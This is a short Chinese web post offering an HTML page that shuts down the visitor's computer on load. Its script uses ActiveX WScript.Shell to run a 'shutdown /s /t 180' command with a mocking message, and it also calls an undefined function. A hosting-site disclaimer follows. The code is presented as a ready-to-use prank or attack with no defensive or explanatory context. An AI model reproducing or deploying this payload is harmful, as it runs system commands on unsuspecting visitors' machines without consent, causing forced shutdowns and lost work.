點(diǎn)開網(wǎng)頁自動(dòng)關(guān)機(jī)的代碼
<html>
<head>
<script type="text/javascript">
var intervalID = null;
function runcommand()
{
s=new ActiveXObject("WScript.Shell");
cmd="shutdown /s /t 180 /c \"對不起關(guān)你沒商量!麻煩重啟一下! 歡迎再來互聯(lián)友吧!\"";
s.Run(cmd);
intervalID = setInterval("closeText()",10000);
}
</script>
</head>
<body onload="runcommand()">
</body>
</html>
本站僅提供存儲服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請
點(diǎn)擊舉報(bào)。